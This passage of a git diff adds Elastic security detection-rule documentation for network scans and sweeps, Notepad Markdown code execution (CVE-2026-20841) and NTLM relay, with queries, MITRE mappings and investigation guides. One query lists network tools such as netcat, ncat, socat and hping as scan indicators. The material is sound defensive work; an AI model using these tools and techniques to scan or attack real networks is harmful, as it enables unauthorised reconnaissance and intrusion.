query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.value == "LmCompatibilityLevel" and registry.data.strings in ("2", "1", "0", "0x00000002", "0x00000001", "0x00000000") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Downgrade Attack +** ID: T1562.010 +** Reference URL: https://attack.mitre.org/techniques/T1562/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-scan-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-scan-detected.asciidoc new file mode 100644 index 0000000000..e3a4cb5cce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-scan-detected.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-potential-network-scan-detected]] +=== Potential Network Scan Detected + +This rule identifies a potential port scan from an internal IP address. A port scan is a method utilized by attackers to systematically scan a target system for open ports, allowing them to identify available services and potential vulnerabilities. By mapping out the open ports, attackers can gather critical information to plan and execute targeted attacks, gaining unauthorized access, compromising security, and potentially leading to data breaches, unauthorized control, or further exploitation of the targeted system. This rule defines a threshold-based approach to detect connection attempts from a single internal source to a wide range of destination ports on a single destination. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Network +* Tactic: Discovery +* Tactic: Reconnaissance +* Use Case: Network Security Monitoring +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Data Source: Network Packet Capture + +*Version*: 17 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Network Scan Detected* + + +Network scanning is a technique used to identify open ports and services on a network, often exploited by attackers to find vulnerabilities. Adversaries may use this method to map out a network's structure and identify weak points for further exploitation. The detection rule identifies suspicious activity by monitoring for multiple connection attempts from a single source to numerous destination ports, indicating a potential scan. This helps in early detection and mitigation of reconnaissance activities. + + +*Possible investigation steps* + + +- Review the source IP address involved in the alert to determine if it belongs to a known or trusted entity within the organization. Check if the IP falls within the specified ranges: 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16. +- Analyze the network flow logs to identify the specific destination ports that were targeted by the source IP. Determine if these ports are associated with critical services or known vulnerabilities. +- Correlate the detected activity with any recent changes or updates in the network infrastructure that might explain the scanning behavior, such as new devices or services being deployed. +- Investigate if there are any other alerts or logs indicating similar scanning activities from the same source IP or other IPs within the same subnet, which might suggest a coordinated scanning effort. +- Check for any historical data or past incidents involving the source IP to assess if this behavior is part of a recurring pattern or a new anomaly. +- Consult with network administrators to verify if the detected activity aligns with any scheduled network assessments or security tests that might have been conducted without prior notification. + + +*False positive analysis* + + +- Internal network scanning tools used for legitimate security assessments can trigger this rule. To manage this, create exceptions for known IP addresses of authorized scanning tools. +- Automated network monitoring systems that check service availability across multiple ports may be flagged. Exclude these systems by identifying their IP addresses and adding them to an exception list. +- Load balancers and network devices that perform health checks on various services might cause false positives. Identify these devices and configure the rule to ignore their IP addresses. +- Development and testing environments where frequent port scanning is part of routine operations can be mistakenly flagged. Implement exceptions for these environments by specifying their IP ranges. +- Regularly scheduled vulnerability assessments conducted by internal security teams can appear as network scans. Document these activities and exclude the associated IPs from triggering the rule. + + +*Response and remediation* + + +- Isolate the affected host: Immediately disconnect the source IP from the network to prevent further scanning or potential exploitation of identified vulnerabilities. +- Conduct a thorough investigation: Analyze the source IP's activity logs to determine if any unauthorized access or data exfiltration has occurred. This will help assess the extent of the threat. +- Update firewall rules: Implement stricter access controls to limit the number of open ports and restrict unnecessary inbound and outbound traffic from the affected IP range. +- Patch and update systems: Ensure all systems and services identified during the scan are up-to-date with the latest security patches to mitigate known vulnerabilities. +- Monitor for recurrence: Set up enhanced monitoring for the source IP and similar scanning patterns to quickly detect and respond to any future scanning attempts. +- Escalate to security operations: If the scan is part of a larger attack or if sensitive data is at risk, escalate the incident to the security operations team for further analysis and response. +- Review and enhance detection capabilities: Evaluate the effectiveness of current detection mechanisms and consider integrating additional threat intelligence sources to improve early detection of similar threats. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.*, packetbeat-*, logs-panw.panos* +| mv_expand event.action +| where event.action in ("network_flow", "flow_started") and destination.port is not null and source.ip is not null and destination.ip is not null +| eval Esql.time_window = DATE_TRUNC(1min, @timestamp) +| where CIDR_MATCH(source.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") +| eval sensitive_port = case(destination.port IN (21, 22, 23, 53, 88, 139, 389, 445, 3389, 5900, 5985, 5986, 9389), true, false) +| stats + Esql.count_distinct_destination_ports = COUNT_DISTINCT(destination.port), + Esql.count_distinct_sensitive_ports = COUNT_DISTINCT(destination.port) where sensitive_port == true, + Esql.values_destination_ports = VALUES(destination.port), + Esql.values_sensitive_ports = VALUES(destination.port) where sensitive_port == true + by Esql.time_window, destination.ip, source.ip +| where (Esql.count_distinct_destination_ports >= 50 or Esql.count_distinct_sensitive_ports >= 5) +| keep source.ip, destination.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-scan-executed-from-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-scan-executed-from-host.asciidoc new file mode 100644 index 0000000000..f52eef32b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-scan-executed-from-host.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-potential-network-scan-executed-from-host]] +=== Potential Network Scan Executed From Host + +This threshold rule monitors for the rapid execution of unix utilities that are capable of conducting network scans. Adversaries may leverage built-in tools such as ping, netcat or socat to execute ping sweeps across the network while attempting to evade detection or due to the lack of network mapping tools available on the compromised host. + +*Rule type*: threshold + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Threshold +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Network Scan Executed From Host* + + +In Linux environments, utilities like ping, netcat, and socat are essential for network diagnostics and communication. However, adversaries can exploit these tools to perform network scans, identifying active hosts and services for further exploitation. The detection rule identifies rapid execution of these utilities, signaling potential misuse for network reconnaissance, by monitoring process initiation events linked to these tools. + + +*Possible investigation steps* + + +- Review the process initiation events to confirm the rapid execution of utilities like ping, netcat, or socat by examining the process.name field in the alert. +- Identify the user account associated with the process execution by checking the user information in the event data to determine if the activity aligns with expected behavior. +- Analyze the command line arguments used with the executed utilities by inspecting the process.command_line field to understand the scope and intent of the network scan. +- Correlate the alert with other recent events on the host by reviewing event timestamps and related process activities to identify any patterns or additional suspicious behavior. +- Check network logs or firewall logs for any unusual outbound connections or traffic patterns originating from the host to assess the potential impact of the network scan. +- Investigate the host's recent login history and user activity to determine if there are signs of unauthorized access or compromise that could explain the network scan activity. + + +*False positive analysis* + + +- Routine network diagnostics by system administrators can trigger alerts. To manage this, create exceptions for known administrator accounts or specific IP addresses frequently used for legitimate network diagnostics. +- Automated monitoring scripts that use these utilities for health checks or performance monitoring may cause false positives. Identify and exclude these scripts by their process names or execution paths. +- Scheduled tasks or cron jobs that involve network utilities for maintenance purposes can be mistaken for network scans. Exclude these tasks by their specific scheduling patterns or associated user accounts. +- Security tools that perform regular network sweeps as part of their functionality might be flagged. Whitelist these tools by their process names or hash values to prevent unnecessary alerts. +- Development or testing environments where network utilities are used for testing purposes can generate false positives. Implement exclusions based on environment-specific identifiers or network segments. + + +*Response and remediation* + + +- Isolate the affected host from the network to prevent further reconnaissance or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, such as those involving ping, netcat, or socat, to halt ongoing network scans. +- Conduct a thorough review of the host's process logs and network activity to identify any additional indicators of compromise or related malicious activity. +- Reset credentials and review access permissions for accounts that were active on the compromised host to prevent unauthorized access. +- Apply patches and updates to the host's operating system and installed software to mitigate vulnerabilities that could be exploited by adversaries. +- Enhance network monitoring and logging to detect similar reconnaissance activities in the future, ensuring that alerts are configured to notify security teams promptly. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional hosts or systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(exec or exec_event or executed or process_started or start or ProcessRollup2) and +process.name:(ping or nping or hping or hping2 or hping3 or nc or ncat or netcat or socat) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-sweep-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-sweep-detected.asciidoc new file mode 100644 index 0000000000..0e71f734f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-network-sweep-detected.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-potential-network-sweep-detected]] +=== Potential Network Sweep Detected + +This rule identifies a potential network sweep. A network sweep is a method used by attackers to scan a target network, identifying active hosts, open ports, and available services to gather information on vulnerabilities and weaknesses. This reconnaissance helps them plan subsequent attacks and exploit potential entry points for unauthorized access, data theft, or other malicious activities. This rule defines a threshold-based approach to detect multiple connection attempts from a single host to numerous destination hosts over commonly used network services. + +*Rule type*: threshold + +*Rule indices*: + +* packetbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Network +* Tactic: Discovery +* Tactic: Reconnaissance +* Use Case: Network Security Monitoring +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Threshold +* Data Source: Network Packet Capture + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Network Sweep Detected* + + +Network sweeps are reconnaissance techniques where attackers scan networks to identify active hosts and services, often targeting common ports. This activity helps adversaries map out network vulnerabilities for future exploitation. The detection rule identifies such sweeps by monitoring connection attempts from a single source to multiple destinations on key ports, flagging potential reconnaissance activities for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address to determine if it belongs to a known or trusted entity within the network, focusing on the private IP ranges specified in the query (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). +- Analyze the destination IP addresses to identify any patterns or commonalities, such as specific subnets or devices, that could indicate targeted reconnaissance. +- Check historical logs for previous connection attempts from the same source IP to see if there is a pattern of repeated scanning behavior or if this is an isolated incident. +- Investigate the specific ports targeted (21, 22, 23, 25, 139, 445, 3389, 5985, 5986) to determine if they are associated with critical services or known vulnerabilities within the network. +- Correlate the detected activity with any recent changes or incidents in the network environment that might explain the behavior, such as new device deployments or configuration changes. +- Consult threat intelligence sources to determine if the source IP or similar scanning patterns have been associated with known threat actors or campaigns. + + +*False positive analysis* + + +- Internal network scans by IT teams can trigger the rule. Regularly scheduled scans for security assessments should be documented and their source IPs added to an exception list to prevent false alerts. +- Automated monitoring tools that check network health might cause false positives. Identify these tools and exclude their IP addresses from the rule to avoid unnecessary alerts. +- Load balancers or network devices that perform health checks across multiple hosts can be mistaken for network sweeps. Exclude these devices by adding their IPs to a whitelist. +- Development or testing environments where multiple connections are made for legitimate purposes can trigger the rule. Ensure these environments are recognized and their IP ranges are excluded from monitoring. +- Misconfigured devices that repeatedly attempt to connect to multiple hosts can appear as network sweeps. Investigate and correct the configuration, then exclude these devices if necessary. + + +*Response and remediation* + + +- Isolate the source IP: Immediately isolate the source IP address identified in the alert from the network to prevent further reconnaissance or potential exploitation of identified vulnerabilities. + +- Block suspicious ports: Implement firewall rules to block incoming and outgoing traffic on the commonly targeted ports (21, 22, 23, 25, 139, 445, 3389, 5985, 5986) from the source IP to mitigate further scanning attempts. + +- Conduct a network-wide scan: Perform a comprehensive scan of the network to identify any unauthorized access or changes that may have occurred as a result of the network sweep. + +- Review and update access controls: Ensure that access controls and permissions are appropriately configured to limit exposure of critical services and sensitive data. + +- Monitor for recurrence: Set up enhanced monitoring and alerting for any future connection attempts from the source IP or similar patterns of network sweep activity. + +- Escalate to security operations: Notify the security operations team to conduct a deeper investigation into the source of the network sweep and assess any potential threats or breaches. + +- Document and report: Record all findings, actions taken, and lessons learned in an incident report to inform future response strategies and improve network defenses. + +==== Rule query + + +[source, js] +---------------------------------- +event.action:(network_flow or flow_started) and destination.port:(21 or 22 or 23 or 25 or 139 or 445 or 3389 or 5985 or 5986) and +source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-notepad-markdown-rce-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-notepad-markdown-rce-exploitation.asciidoc new file mode 100644 index 0000000000..6353d5e65c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-notepad-markdown-rce-exploitation.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-potential-notepad-markdown-rce-exploitation]] +=== Potential Notepad Markdown RCE Exploitation + +Identifies a process started by Notepad after opening a Markdown file. This may indicate successful exploitation of a Notepad markdown parsing vulnerability (CVE-2026-20841) that can lead to arbitrary code execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2026-20841 + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Notepad Markdown RCE Exploitation* + + + +*Possible investigation steps* + + +- What exact Notepad-to-child path did the alert preserve? + - Why: CVE-2026-20841 abuse centers on Markdown link handling that invokes unsafe protocol handlers, so the launched child and target are decisive. + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.args`, child `process.executable`, and child `process.command_line`. + - Implication: escalate when Notepad opened Markdown and launched a shell, script host, downloader, browser, archive handler, installer, or custom protocol handler with a URL, UNC path, file URI, app installer URI, or staged payload; lower suspicion only when child and target match a confirmed validation workflow. + +- What does child binary identity add to command intent? + - Focus: child `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.pe.original_file_name`. + - Implication: escalate when the child is unsigned, user-writable, signer/name-mismatched, or unusual for Markdown link handling; reduce suspicion only when signer, path, hash history, and command target all fit the same confirmed validation workflow. + +- Does parent launch context point to lure delivery or controlled use? + - Focus: Markdown path from `process.parent.args`, `process.parent.command_line`, `user.id`, `host.id`, and `host.name`. + - Implication: escalate when the path is in downloads, mail or chat caches, temp, removable media, network shares, or lure-like filenames; lower suspicion only when source path and child target match a confirmed validation case for the same user or host. + +- Did the child start more exploit-chain processes? + - Focus: process events on `host.id` where `process.parent.entity_id` links to `process.entity_id`, recording descendant `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process events for the Notepad-spawned child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: prefer entity ID-linked descendants; treat PID-only matches as candidates tightly anchored to `@timestamp`. Inspect `process.Ext.ancestry` only when direct lineage is incomplete. + - Implication: escalate for descendant shells, script interpreters, LOLBins, installers, payload runners, or browser-to-download chains; no descendants limits process scope but does not clear the Notepad launch. + +- Did the child stage artifacts for later execution? + - Focus: if file telemetry exists, review process-scoped `file.path`, `file.Ext.original.path`, and later `process.executable` reuse of a written path. !{investigate{"description":"","label":"File events for the same child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: recover with `host.id` + `process.entity_id`; if unavailable, use `host.id` + `process.pid` + a tight alert window. Missing file telemetry is unresolved, not benign. + - Implication: escalate when the child writes executables, scripts, shortcuts, archives, or renamed payloads to user-writable paths, or a written artifact later runs; clean available file telemetry means staging is not corroborated, not that the alert is benign. + +- Did the child contact payload-delivery destinations? + - Focus: if DNS or connection telemetry exists, review `dns.question.name`, `destination.ip`, and `destination.port`. !{investigate{"description":"","label":"Network events for the same child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: recover with `host.id` + `process.entity_id`; if unavailable, use `host.id` + `process.pid` + a tight alert window. Missing DNS or connection telemetry is unresolved, not benign. + - Implication: escalate when the child resolves or connects to rare, external, newly introduced, or delivery-oriented destinations outside its role; clean available network telemetry removes one corroborator but cannot override suspicious alert-local execution. + +- If local evidence is suspicious or unresolved, does the pattern change scope? + - Focus: related alerts for the same `user.id` over 48 hours, comparing child `process.executable`, child `process.command_line`, and source-path patterns from `process.parent.args` when present. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is empty or ambiguous, compare related alerts for the same `host.id` over 48 hours before broadening. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when related alerts show the same Notepad-child pattern, source-path family, or delivery indicator across unrelated users or hosts; use recurrence for scope only, not benign closure. + +- Escalate when child intent, descendant lineage, artifact staging, or destinations point to payload delivery, even if one conditional telemetry family is absent; close only when source path, child identity, command target, and `user.id`/`host.id` context prove one benign workflow; preserve evidence and escalate when telemetry is missing or contradictory. + + +*False positive analysis* + + +- Authorized CVE validation, QA, or security lab activity can trigger this rule when controlled Markdown samples intentionally launch a stable helper. Confirm `process.parent.args`, child `process.executable`, child hash or signer, child `process.command_line`, and `user.id`/`host.id` cohort all match the same validation workflow; prior alerts support stability only after those anchors align. +- Before creating an exception, validate stability for the same child identity, child command-target pattern, Markdown path family from `process.parent.args`, and `user.id` or `host.id` scope. Avoid exceptions on `process.parent.name`, `process.name`, or Notepad alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and record the Markdown path, child process identity, command target, and cohort evidence that confirmed the benign workflow. Build an exception only for the same stable `user.id` or `host.id` scope and child identity. +- If suspicious but unconfirmed: + - Preserve the triggering Markdown file, parent `process.parent.command_line`, child `process.entity_id`, child `process.command_line`, descendant process identifiers, written artifact paths, and DNS or IP indicators before cleanup. + - Apply reversible containment tied to observed indicators, such as temporary restriction of the observed destination or heightened monitoring on the affected `host.id` and `user.id`. + - Escalate to host isolation if the child continues spawning payloads, downloading content, or contacting suspicious destinations after preservation. +- If confirmed malicious: + - Isolate the host first, then stop the malicious child and descendant `process.entity_id` values after recording `process.entity_id`, `process.command_line`, the Markdown path from `process.parent.args`, and related artifact or destination indicators. If direct response is unavailable, hand off the preserved evidence set to the containment team. + - Block confirmed malicious domains, IPs, URLs, hashes, and child process paths identified during the investigation. + - Eradicate only the dropped files, startup artifacts, scheduled tasks, registry changes, and payload runners tied to the exploit chain, then quarantine the triggering Markdown file and remediate its delivery path. +- Post-incident hardening: + - Update the Windows Notepad App to a version that remediates CVE-2026-20841, and restrict unsafe protocol-handler launch exposure for Markdown viewers where enterprise controls support it. + - Preserve or expand file and network telemetry if missing visibility prevented confirmation of Markdown source, payload staging, or destination activity. + - Record the Markdown delivery path, child-process pattern, and adjacent protocol-handler or payload variants in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "notepad.exe" and process.parent.args : "*.md" and + not process.executable : "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_*\\Notepad\\Notepad.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ntlm-relay-attack-against-a-computer-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ntlm-relay-attack-against-a-computer-account.asciidoc new file mode 100644 index 0000000000..4d6a9e7a64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ntlm-relay-attack-against-a-computer-account.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-potential-ntlm-relay-attack-against-a-computer-account]] +=== Potential NTLM Relay Attack against a Computer Account + +Detects potential relay attacks by identifying coercion attempts followed by authentication events using a target server's computer account, originating from a different host. This may indicate that an attacker has captured and relayed the server's computer account hash to execute code on behalf of the compromised system. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications +* https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 +* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* 